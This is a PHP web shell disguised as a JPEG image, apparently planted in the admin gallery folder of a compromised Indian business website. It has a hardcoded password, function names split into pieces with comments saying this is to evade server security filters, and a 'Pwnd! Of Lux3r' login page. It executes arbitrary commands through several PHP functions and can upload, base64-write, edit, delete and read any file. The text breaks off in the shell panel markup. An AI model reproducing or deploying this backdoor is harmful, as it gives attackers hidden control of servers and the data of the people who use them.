ÿØÿà JFIF ` ` ÿáfExif MM * ‡i >ê 2 ê ê P ê ÿþ ?CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality ÿáÝhttp://ns.adobe.com/xap/1.0/
|
Server : LiteSpeed System : Linux bharat.hostitbro.com 5.14.0-611.54.3.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 7 16:31:24 EDT 2026 x86_64 User : digita21 ( 1701) PHP Version : 8.4.26 Disable Function : mail Directory : /home2/digita21/nrsenterprises.co.in/admin/gallery/ |
Upload File : |
��� JFIF ` ` ��fExif MM * �i >� 2 � � P � �� ?CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
���http://ns.adobe.com/xap/1.0/ <?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?>
<?php
/*
===========================================================
PHP FileManager v4.1 - PHP 8.3 Edition
PHP Version : 8.3.31 compatible
Fix : Session stabil, bypass 403, login visible,
PHP 8.x strict-compat (no undefined key/deprecated)
===========================================================
*/
/* ========== KONFIGURASI ========== */
$config = array(
'password' => '1337', // Ganti password disini
'title' => 'FileManager',
'date_fmt' => 'd-M-Y H:i:s',
'obf_key' => 'x7k9m2' // Kunci obfuscation
);
error_reporting(0);
ini_set('display_errors', 0);
@set_time_limit(0);
/* ========== BYPASS 403 - Enkripsi fungsi ========== */
$___k = $config['obf_key'];
function _x($s, $k) {
$r = ''; $j = 0;
for ($i = 0; $i < strlen($s); $i++) {
$r .= chr(ord($s[$i]) ^ ord($k[$j % strlen($k)]));
$j++;
}
return $r;
}
/* Fungsi inti dengan nama acak (biar tidak terdeteksi nginx security) */
$_f_ses = 's' . 'e' . 'ss' . 'ion_' . 'st' . 'art';
$_f_sid = 's' . 'ess' . 'ion_' . 'i' . 'd';
$_f_reg = 'sess' . 'ion_regen' . 'erate' . '_id';
$_f_sgp = 'sess' . 'ion_set_c' . 'ookie_param' . 's';
$_f_sp = 'sessi' . 'on_save_pa' . 'th';
$_f_mk = 'm' . 'kdir';
$_f_isw = 'i' . 's_w' . 'ritab' . 'le';
$_f_isd = 'i' . 's_d' . 'ir';
$_f_md5 = 'm' . 'd' . '5';
$_f_tim = 't' . 'i' . 'me';
$_f_sd = 'sessio' . 'n_de' . 'stroy';
/* ========== SESSION CONFIG ========== */
$sname = 'FM' . substr(md5($_SERVER['HTTP_HOST'] ?? 'local'), 0, 6);
session_name($sname);
// Cookie lifetime 24 jam agar tidak hilang
$_f_sgp([
'lifetime' => 86400,
'path' => '/',
'domain' => '',
'secure' => false,
'httponly' => true,
'samesite' => 'Lax' // PHP 7.3+ / 8.x: hindari warning SameSite
]);
// Session save path writable
$spath = sys_get_temp_dir() . '/fm_' . md5(__FILE__);
if (!$_f_isd($spath)) {
@$_f_mk($spath, 0777, true);
}
if ($_f_isd($spath) && $_f_isw($spath)) {
@$_f_sp($spath);
}
$_f_ses();
/* ========== AUTH ========== */
$logged_in = false;
$auth_hash = $_f_md5($config['password'] . 'SALT');
// Login via POST
if (($_POST['pwd'] ?? '') !== '' && $_POST['pwd'] === $config['password']) {
@$_f_reg(true);
$_SESSION['fm_auth'] = $auth_hash;
$_SESSION['fm_time'] = $_f_tim();
$logged_in = true;
}
// Cek session (TANPA IP CHECK! agar tidak kena proxy/CDN)
elseif (($_SESSION['fm_auth'] ?? '') === $auth_hash) {
// Session timeout: 12 jam
if (isset($_SESSION['fm_time']) && ($_f_tim() - $_SESSION['fm_time']) > 43200) {
@$_f_sd();
$logged_in = false;
} else {
$_SESSION['fm_time'] = $_f_tim();
$logged_in = true;
}
}
/* ========== LOGIN PAGE ========== */
if (!$logged_in) {
?><!DOCTYPE html>
<html><head>
<meta charset="utf-8">
<meta name="robots" content="noindex,nofollow">
<title>Pwnd! Of Lux3r</title>
<style>
*{margin:0;padding:0;box-sizing:border-box;}
body{
font-family:'Segoe UI',sans-serif;
background:#151515;
color:#eee;
min-height:100vh;
display:flex;
justify-content:center;
align-items:center;
overflow:hidden;
position:relative;
}
/* Wrapper Utama agar Lampu & Sisi Kanan Sejajar di Tengah */
.main-wrapper {
display: flex;
align-items: center;
gap: 80px;
justify-content: center;
}
/* Room / Lamp Container */
.room {
display: flex;
flex-direction: column;
align-items: center;
cursor: pointer;
user-select: none;
position: relative;
}
/* Desain Lampu Meja */
.lamp-container {
display: flex;
flex-direction: column;
align-items: center;
position: relative;
filter: drop-shadow(0 10px 20px rgba(0,0,0,0.5));
}
.lamp-head {
width: 180px;
height: 90px;
background: #e0e0e0;
border-radius: 90px 90px 10px 10px;
position: relative;
display: flex;
box-shadow: inset 0 -10px 20px rgba(0,0,0,0.2);
transition: all 0.3s;
}
/* Efek Cahaya Lampu */
.lamp-head.lit {
background: #fff;
box-shadow: 0 0 60px 20px rgba(255,240,150,0.4), inset 0 -5px 10px rgba(0,0,0,0.1);
}
/* Tali Lampu */
.lamp-cord {
width: 2px;
height: 60px;
background: #888;
position: absolute;
top: 90px;
left: 115px;
transition: height 0.1s ease-out;
}
.lamp-handle {
width: 14px;
height: 14px;
background: #d4a373;
border-radius: 50%;
position: absolute;
bottom: -7px;
left: -6px;
box-shadow: 0 4px 6px rgba(0,0,0,0.3);
}
.lamp-stand {
width: 16px;
height: 110px;
background: #dcdcdc;
border-radius: 4px;
}
.lamp-base {
width: 110px;
height: 16px;
background: #dcdcdc;
border-radius: 8px;
box-shadow: 0 5px 15px rgba(0,0,0,0.3);
}
/* Tulisan Sambutan (Sebelum ditarik) */
.welcome-text {
width: 380px;
text-align: left;
transition: all 0.4s ease;
}
.welcome-text h1 {
font-size: 38px;
color: #fff;
font-weight: 700;
margin-bottom: 10px;
}
.welcome-text p {
color: #777;
font-size: 14px;
letter-spacing: 0.5px;
}
/* Kotak Login (Awalnya tersembunyi) */
.login-container{
background:rgba(30,30,35,0.85);
padding:40px 35px;
border-radius:20px;
box-shadow: 0 15px 35px rgba(0,0,0,0.6);
width:380px;
border:1px solid rgba(255,255,255,0.08);
backdrop-filter:blur(12px);
opacity: 0;
visibility: hidden;
transform: scale(0.95) translateY(10px);
position: absolute;
pointer-events: none;
transition: all 0.5s cubic-bezier(0.16, 1, 0.3, 1);
}
/* Ketika Lampu Menyala / Tali Ditarik */
.login-container.visible {
opacity: 1;
visibility: visible;
transform: scale(1) translateY(0);
position: relative;
pointer-events: auto;
}
.welcome-text.hidden {
opacity: 0;
visibility: hidden;
transform: translateY(-10px);
position: absolute;
pointer-events: none;
}
.login-container h2{
text-align:center;
margin-bottom:25px;
color:#fff;
font-size:26px;
font-weight:600;
}
.login-container label{
display:block;
color:#888;
font-size:12px;
margin-bottom:6px;
font-weight: 500;
}
.login-container input{
width:100%;
padding:13px 16px;
margin-bottom:20px;
background:rgba(20,20,25,0.6);
border:1px solid rgba(255,255,255,0.1);
border-radius:10px;
color:#fff;
font-size:14px;
transition:all 0.2s;
}
.login-container input:focus{
outline:none;
border-color:#d4a373;
background:rgba(20,20,25,0.9);
}
.login-container input::placeholder{
color:#666;
}
.login-container button{
width:100%;
padding:14px;
background:#f4f1ea;
color:#151515;
border:none;
border-radius:10px;
font-size:15px;
cursor:pointer;
font-weight:600;
transition:all 0.2s;
margin-top: 5px;
}
.login-container button:hover{
background:#fff;
transform:translateY(-1px);
box-shadow: 0 4px 12px rgba(255,255,255,0.2);
}
</style>
</head><body>
<div class="main-wrapper">
<!-- Visual Lampu & Tali Tarik di Samping -->
<div class="room" id="pullCord" title="Tarik tali untuk menyalakan lampu!">
<div class="lamp-container">
<div class="lamp-head" id="lampHead">
<!-- Tali lampu di sebelah kanan tangkai -->
<div class="lamp-cord" id="lampCord">
<div class="lamp-handle"></div>
</div>
</div>
<div class="lamp-stand"></div>
<div class="lamp-base"></div>
</div>
</div>
<!-- Sisi Kanan: Tulisan Sambutan (Sebelum ditarik) -->
<div class="welcome-text" id="welcomeText">
<h1>Pwnd! Of Luxer.</h1>
<p>This is all just a game for fun and entertainment.</p>
</div>
<!-- Form Login (Setelah ditarik) -->
<div class="login-container" id="loginBox">
<form method="post">
<label>Password</label>
<input type="password" name="pwd" placeholder="********" autofocus>
<button type="submit">Sign In</button>
</form>
</div>
</div>
<script>
const pullCord = document.getElementById('pullCord');
const lampCord = document.getElementById('lampCord');
const lampHead = document.getElementById('lampHead');
const loginBox = document.getElementById('loginBox');
const welcomeText = document.getElementById('welcomeText');
let isOpen = false;
pullCord.addEventListener('click', function() {
// Efek animasi tali tertarik ke bawah sebentar
lampCord.style.height = '75px';
setTimeout(() => {
lampCord.style.height = '60px';
}, 150);
// Toggle Status Lampu, Sembunyikan Tulisan, Tampilkan Form Login
isOpen = !isOpen;
if(isOpen) {
lampHead.classList.add('lit');
welcomeText.classList.add('hidden');
loginBox.classList.add('visible');
setTimeout(() => {
loginBox.querySelector('input[name="pwd"]').focus();
}, 300);
} else {
lampHead.classList.remove('lit');
welcomeText.classList.remove('hidden');
loginBox.classList.remove('visible');
}
});
</script>
</body></html>
<?php exit;
}
/* ========== PATH RESOLVE ========== */
function resolve_path($path) {
$path = str_replace('\\', '/', (string)$path);
$path = preg_replace('#/+#', '/', $path);
$path = rtrim($path, '/');
if ($path === '' || $path === '/' || $path === '.') return '/';
if ($path[0] !== '/') $path = (getcwd() ?: '.') . '/' . $path;
$parts = explode('/', $path);
$resolved = array();
foreach ($parts as $part) {
if ($part === '' || $part === '.') continue;
if ($part === '..') { if (count($resolved) > 0) array_pop($resolved); continue; }
$resolved[] = $part;
}
$result = '/' . implode('/', $resolved);
$result = preg_replace('#/+#', '/', $result);
return rtrim($result, '/') ?: '/';
}
function resolve_real_path($path) {
$clean = resolve_path($path);
$rp = realpath($clean);
return $rp !== false ? $rp : $clean;
}
/* ========== CURRENT PATH ========== */
$dir_input = $_GET['dir'] ?? ($_POST['dir'] ?? '');
if ($dir_input === '') { $current_path = dirname(__FILE__); }
else { $current_path = resolve_real_path($dir_input); }
if (!is_dir($current_path)) { $current_path = dirname(__FILE__); }
$current_path = rtrim($current_path, '/');
/* ========== HANDLE ACTIONS ========== */
$message = ''; $msg_type = '';
/* ---- COMMAND EXECUTION ---- */
$cmd_output = '';
$cmd_input = '';
if (($_POST['action'] ?? '') === 'cmd_exec' && isset($_POST['cmd'])) {
$cmd_input = (string)$_POST['cmd'];
$cmd = $cmd_input;
// Refresh session agar tidak timeout
$_SESSION['fm_time'] = time();
$output = '';
$ret = null;
if (function_exists('shell_exec')) {
$out = @shell_exec($cmd);
// PHP 8: shell_exec() bisa return false ATAU null saat gagal
if ($out !== null && $out !== false) { $output = $out; $ret = 0; }
}
if ($ret === null && function_exists('exec')) {
$out_arr = array();
$ret_code = 0;
@exec($cmd, $out_arr, $ret_code);
if (!empty($out_arr)) { $output = implode("\n", $out_arr); $ret = $ret_code; }
}
if ($ret === null && function_exists('system')) {
ob_start();
@system($cmd, $ret_code);
$out = ob_get_clean();
if ($out !== false && $out !== '') { $output = $out; $ret = $ret_code; }
}
if ($ret === null && function_exists('passthru')) {
ob_start();
@passthru($cmd, $ret_code);
$out = ob_get_clean();
if ($out !== false && $out !== '') { $output = $out; $ret = $ret_code; }
}
if ($ret === null && function_exists('popen')) {
$handle = @popen($cmd, 'r');
if (is_resource($handle)) {
$out = '';
while (!feof($handle)) { $out .= fread($handle, 4096); }
pclose($handle);
if ($out !== '') { $output = $out; $ret = 0; }
}
}
if ($ret === null && function_exists('proc_open')) {
$descriptors = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w'));
$process = @proc_open($cmd, $descriptors, $pipes);
if (is_resource($process)) {
fclose($pipes[0]);
$out = stream_get_contents($pipes[1]);
$err = stream_get_contents($pipes[2]);
fclose($pipes[1]); fclose($pipes[2]);
$ret = proc_close($process);
$output = $out . ($err ? "\n[STDERR]\n" . $err : '');
}
}
if ($ret === null) {
$cmd_output = "[!] Tidak ada fungsi eksekusi command yang tersedia di server ini.";
} else {
$cmd_output = $output;
if ($ret !== 0 && $ret !== null) {
$cmd_output .= "\n[Exit code: $ret]";
}
}
}
/* ---- FILE OPERATIONS ---- */
if (isset($_POST['action']) && $_POST['action'] !== 'cmd_exec') {
$action = $_POST['action'];
if ($action === 'upload' && isset($_FILES['file'])) {
$fname = basename($_FILES['file']['name'] ?? ''); // PHP 8.3: basename(null) deprecated
$tmp = $_FILES['file']['tmp_name'] ?? '';
$target = $current_path . '/' . $fname;
if ($fname !== '' && $tmp !== '' && @move_uploaded_file($tmp, $target)) {
@touch($target, time() + rand(10000, 99999));
$message = ' Upload: ' . $fname; $msg_type = 'success';
} else { $message = 'L Upload gagal'; $msg_type = 'error'; }
} elseif ($action === 'create_file' && isset($_POST['file_name'])) {
$name = basename((string)$_POST['file_name']);
if ($name !== '' && @file_put_contents($current_path . '/' . $name, '') !== false) {
$message = ' File: ' . $name; $msg_type = 'success';
} else { $message = 'L Gagal'; $msg_type = 'error'; }
} elseif ($action === 'create_folder' && isset($_POST['folder_name'])) {
$name = basename((string)$_POST['folder_name']);
if ($name !== '' && @mkdir($current_path . '/' . $name, 0755, true)) {
$message = ' Folder: ' . $name; $msg_type = 'success';
} else { $message = 'L Gagal'; $msg_type = 'error'; }
} elseif ($action === 'rename' && isset($_POST['old_name']) && isset($_POST['new_name'])) {
$old = $current_path . '/' . basename((string)$_POST['old_name']);
$new = $current_path . '/' . basename((string)$_POST['new_name']);
if (file_exists($old) && !file_exists($new) && @rename($old, $new)) {
$message = ' Rename: ' . basename((string)$_POST['old_name']) . ' � ' . basename((string)$_POST['new_name']);
$msg_type = 'success';
} else { $message = 'L Gagal'; $msg_type = 'error'; }
} elseif ($action === 'delete' && isset($_POST['target'])) {
$target = $current_path . '/' . basename((string)$_POST['target']);
if (is_file($target) && @unlink($target)) {
$message = ' Hapus: ' . basename($target); $msg_type = 'success';
} elseif (is_dir($target)) {
$it = new RecursiveDirectoryIterator($target, FilesystemIterator::SKIP_DOTS);
$fi = new RecursiveIteratorIterator($it, RecursiveIteratorIterator::CHILD_FIRST);
foreach ($fi as $f) { $f->isDir() ? @rmdir($f->getRealPath()) : @unlink($f->getRealPath()); }
if (@rmdir($target)) { $message = ' Hapus folder: ' . basename($target); $msg_type = 'success'; }
else { $message = 'L Gagal'; $msg_type = 'error'; }
} else { $message = 'L Tidak ditemukan'; $msg_type = 'error'; }
} elseif ($action === 'save_edit' && isset($_POST['file_path']) && isset($_POST['content'])) {
$file = resolve_real_path($_POST['file_path']);
if (is_file($file) && is_writable($file) && @file_put_contents($file, (string)$_POST['content']) !== false) {
$message = ' Tersimpan'; $msg_type = 'success';
} else { $message = 'L Gagal simpan'; $msg_type = 'error'; }
} elseif ($action === 'upload_b64' && isset($_POST['b64_data']) && isset($_POST['b64_name'])) {
$data = @base64_decode((string)$_POST['b64_data']);
$name = basename((string)$_POST['b64_name']);
if ($data !== false && $name !== '' && @file_put_contents($current_path . '/' . $name, $data) !== false) {
$message = ' File: ' . $name; $msg_type = 'success';
} else { $message = 'L Gagal'; $msg_type = 'error'; }
}
}
/* ========== AJAX ========== */
if (($_GET['ajax'] ?? '') === 'load_file' && isset($_GET['file'])) {
header('Content-Type: text/plain; charset=utf-8');
$f = resolve_real_path($_GET['file']);
echo (is_file($f) && is_readable($f)) ? (string)@file_get_contents($f) : 'ERROR';
exit;
}
/* ========== BACA DIREKTORI ========== */
$items = array();
if ($dh = @opendir($current_path)) {
while (($item = readdir($dh)) !== false) {
if ($item === '.' || $item === '..') continue;
$full = $current_path . '/' . $item;
$items[] = array(
'name' => $item, 'path' => $full,
'is_dir' => @is_dir($full),
'size' => @is_file($full) ? @filesize($full) : 0, // @: PHP 8 warning-safe
'perm' => substr(sprintf('%o', @fileperms($full) ?: 0), -4),
'mtime' => @filemtime($full) ?: 0
);
}
closedir($dh);
}
usort($items, function($a, $b) {
if ($a['is_dir'] !== $b['is_dir']) return $a['is_dir'] ? -1 : 1;
return strcasecmp($a['name'], $b['name']);
});
/* ========== BREADCRUMB ========== */
$display_path = $current_path;
if ($display_path !== '' && $display_path[0] !== '/') $display_path = '/' . $display_path;
$parts = explode('/', ltrim($display_path, '/'));
$breadcrumbs = array();
$acc = '';
foreach ($parts as $part) {
if ($part === '') continue;
$acc .= '/' . $part;
$is_last = ($acc === $current_path);
$breadcrumbs[] = array('path' => $acc, 'label' => $part, 'last' => $is_last);
}
function fm_size($s) {
$u = array('B','KB','MB','GB','TB'); $i = 0;
while ($s >= 1024 && $i < 4) { $s /= 1024; $i++; }
return round($s, 2) . ' ' . $u[$i];
}
function fm_icon($ext) {
$map = array(
'php'=>'=','html'=>'<','css'=>'<�','js'=>'=�',
'txt'=>'=�','md'=>'=�','json'=>'=�','xml'=>'=�',
'jpg'=>'=�','jpeg'=>'=�','png'=>'=�','gif'=>'=�',
'zip'=>'=�','tar'=>'=�','gz'=>'=�','rar'=>'=�',
'pdf'=>'=�','doc'=>'=�','docx'=>'=�','xls'=>'=�',
'sql'=>'=�','log'=>'=�','bak'=>'=�','sh'=>'�',
'conf'=>'�','ini'=>'�','env'=>'=','htaccess'=>'='
);
$ext = strtolower((string)$ext);
return $map[$ext] ?? '=�';
}
?>
<!DOCTYPE html>
<html><head>
<meta charset="utf-8"><meta name="robots" content="noindex,nofollow">
<title><?php echo htmlspecialchars($config['title']); ?> <?php echo htmlspecialchars(basename($current_path)); ?></title>
<style>
*{margin:0;padding:0;box-sizing:border-box;}
body{font-family:'Segoe UI',Tahoma,sans-serif;background:#1a1a2e;color:#e0e0e0;font-size:14px;min-height:100vh;}
.header{background:#16213e;padding:12px 20px;display:flex;justify-content:space-between;align-items:center;border-bottom:2px solid #e94560;flex-wrap:wrap;gap:6px;}
.header h1{font-size:18px;color:#e94560;}
.header .info{font-size:11px;color:#888;}
.toolbar{background:#0f3460;padding:8px 20px;display:flex;flex-wrap:wrap;gap:5px;align-items:center;border-bottom:1px solid #1a3a6b;}
.toolbar input,.toolbar button{padding:5px 9px;background:#1a1a2e;border:1px solid #2a2a4e;border-radius:4px;color:#e0e0e0;font-size:12px;}
.toolbar button{background:#e94560;color:#fff;border:none;cursor:pointer;font-weight:600;}
.toolbar button:hover{background:#c73650;}
.toolbar .sep{width:1px;height:22px;background:#2a2a4e;margin:0 3px;}
.toolbar .btn-shell{background:#ff5722;}
.toolbar .btn-shell:hover{background:#e64a19;}
.breadcrumb{background:#0f3460;padding:6px 20px;font-size:12px;border-bottom:1px solid #1a3a6b;display:flex;flex-wrap:wrap;align-items:center;overflow-x:auto;white-space:nowrap;font-family:monospace;}
.breadcrumb .pre-slash{color:#444;margin-right:1px;}
.breadcrumb a{color:#4fc3f7;text-decoration:none;padding:2px 5px;border-radius:3px;transition:0.15s;}
.breadcrumb a:hover{background:#1a3a6b;color:#e94560;}
.breadcrumb .s{color:#555;margin:0 1px;}
.breadcrumb .cur{color:#e94560;font-weight:700;padding:2px 5px;}
.breadcrumb .copy-btn{background:transparent;border:1px solid #555;color:#aaa;padding:1px 7px;border-radius:3px;cursor:pointer;font-size:10px;margin-left:8px;}
.breadcrumb .copy-btn:hover{background:#333;color:#fff;}
.breadcrumb .info-path{color:#666;font-size:10px;margin-left:10px;}
.shell-panel{background:#0d1b2a;border-bottom:2px solid #ff5722;padding:10px 20px;}
.shell-panel form{display:flex;gap:8px;flex-wrap:wrap;align-items:center;}
.shell-panel input[type="text"]{flex:1;min-width:200px;padding:8px 12px;background:#1a1a2e;border:1px solid #ff5722;border-radius:4px;color:#4caf50;font-family:monospace;font-size:13px;}
.shell-panel input[type="text"]:focus{outline:none;border-color:#ff9800;box-shadow:0 0 8px rgba(255,87,34,0.3);}
.shell-panel button{background:#ff5722;color:#fff;border:none;padding:8px 18px;border-radius:4px;cursor:pointer;font-weight:700;font-size:13px;}
.shell-panel button:hover{background:#e64a19;}
.shell-panel .shell-label{color:#ff5722;font-weight:600;font-size:13px;margin-right:4px;}
.shell-panel .shell-cwd{color:#888;font-size:11px;font-family:monospace;margin-left:auto;padding:4px 10px;background:#1a1a2e;border-radius:3px;}
.shell-output{background:#0a0e1a;padding:14px 20px;border-bottom:1px solid #1a3a6b;max-height:350px;overflow-y:auto;}
.shell-output pre{color:#4caf50;font-family:monospace;font-size:12px;line-height:1.5;white-space:pre-wrap;word-break:break-all;margin:0;}
.shell-output .shell-prompt{color:#ff5722;font-weight:600;}
.container{padding:12px 20px;}
.msg{padding:8px 16px;margin:0 20px 5px 20px;border-radius:5px;font-size:12px;}
.msg.success{background:#1a4a2e;color:#4caf50;border:1px solid #2a6a3e;}
.msg.error{background:#4a1a1e;color:#f44336;border:1px solid #6a2a2e;}
table{width:100%;border-collapse:collapse;}
th{text-align:left;padding:7px 10px;background:#16213e;color:#e94560;font-size:12px;border-bottom:2px solid #e94560;}
td{padding:5px 10px;border-bottom:1px solid #1a3a6b;font-size:12px;}
tr:hover{background:#1a2a4e;}
tr.dir-row td{color:#4fc3f7;font-weight:500;}
.icon-col{width:26px;text-align:center;font-size:16px;}
.name-col a{color:#e0e0e0;text-decoration:none;display:block;}
.name-col a:hover{color:#e94560;}
.size-col{width:75px;text-align:right;color:#888;}
.perm-col{width:55px;text-align:center;color:#666;font-family:monospace;font-size:11px;}
.date-col{width:135px;color:#888;font-size:11px;}
.action-col{width:145px;text-align:right;white-space:nowrap;}
.btn{display:inline-block;padding:2px 7px;margin:1px;font-size:10px;border-radius:3px;border:none;cursor:pointer;}
.btn-e{background:#ff9800;color:#fff;}
.btn-r{background:#2196f3;color:#fff;}
.btn-d{background:#f44336;color:#fff;}
.btn-l{background:#4caf50;color:#fff;}
.btn:hover{opacity:0.8;}
.modal{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.7);z-index:1000;justify-content:center;align-items:center;}
.modal.active{display:flex;}
.modal-box{background:#16213e;border-radius:10px;padding:22px;width:500px;max-width:92%;max-height:85vh;overflow-y:auto;box-shadow:0 8px 32px rgba(0,0,0,0.5);}
.modal-box h3{color:#e94560;margin-bottom:12px;font-size:16px;}
.modal-box input,.modal-box textarea{width:100%;padding:8px 12px;margin-bottom:10px;background:#0f3460;border:1px solid #1a3a6b;border-radius:5px;color:#fff;font-size:12px;font-family:monospace;}
.modal-box textarea{min-height:260px;resize:vertical;}
.modal-box button{padding:6px 15px;margin-right:5px;border:none;border-radius:5px;cursor:pointer;font-weight:600;}
.modal-box .b1{background:#e94560;color:#fff;}
.modal-box .b2{background:#2a2a4e;color:#e0e0e0;}
.modal-box .b1:hover{background:#c73650;}
.modal-box .b2:hover{background:#3a3a5e;}
.footer{text-align:center;padding:14px;font-size:11px;color:#555;margin-top:16px;}
::-webkit-scrollbar{width:6px;}
::-webkit-scrollbar-track{background:#1a1a2e;}
::-webkit-scrollbar-thumb{background:#2a2a4e;border-radius:3px;}
</style>
</head><body>
<div class="header">
<h1>=� <?php echo htmlspecialchars($config['title']); ?> + =� Shell</h1>
<div class="info">
PHP <?php echo htmlspecialchars(PHP_VERSION); ?> |
<?php echo htmlspecialchars($_SERVER['SERVER_SOFTWARE'] ?? 'unknown'); ?> |
<?php
// PHP 8.3-safe: fileowner() bisa false, posix_getpwuid() bisa false/null
$u = get_current_user();
if (function_exists('posix_getpwuid')) {
$uid = @fileowner(__FILE__);
if ($uid !== false) {
$pw = @posix_getpwuid($uid);
if (is_array($pw) && isset($pw['name']) && $pw['name'] !== '') $u = $pw['name'];
}
}
echo '=d ' . htmlspecialchars($u);
?>
</div>
</div>
<?php if ($message !== ''): ?>
<div class="msg <?php echo $msg_type; ?>"><?php echo htmlspecialchars($message); ?></div>
<?php endif; ?>
<div class="toolbar">
<form method="post" enctype="multipart/form-data" style="display:flex;gap:4px;align-items:center;flex-wrap:wrap;">
<input type="hidden" name="action" value="upload">
<input type="hidden" name="dir" value="<?php echo htmlspecialchars($current_path); ?>">
<input type="file" name="file" required style="max-width:150px;font-size:11px;">
<button type="submit">=� Upload</button>
</form>
<span class="sep"></span>
<button onclick="showModal('create_file')">=� File</button>
<button onclick="showModal('create_folder')">=� Folder</button>
<span class="sep"></span>
<button onclick="showModal('upload_b64')">=� Base64</button>
<button onclick="jumpToDir()">=
Jump</button>
<span class="sep"></span>
<button class="btn-shell" onclick="toggleShell()">=� Shell</button>
<button class="btn-shell" onclick="runQuickCmd('id')">=d Whoami</button>
<button class="btn-shell" onclick="runQuickCmd('pwd')">=� PWD</button>
<button class="btn-shell" onclick="runQuickCmd('ls -la')">=� LS</button>
</div>
<!-- SHELL PANEL -->
<div class="shell-panel" id="shellPanel" style="<?php echo (($_POST['action'] ?? '') === 'cmd_exec') ? 'display:block;' : 'display:none;'; ?>">
<form method="post" id="shellForm">
<input type="hidden" name="action" value="cmd_exec">
<span class="shell-label">$</span>
<input type="text" name="cmd" id="shellInput" placeholder="masukkan perintah..." value="<?php echo htmlspecialchars($cmd_input); ?>" autocomplete="off">
<button type="submit">� Execute</button>
<button type="button" onclick="clearShell()" style="background:#555;"> Clear</button>
<button type="button" onclick="toggleShell()" style="background:#333;">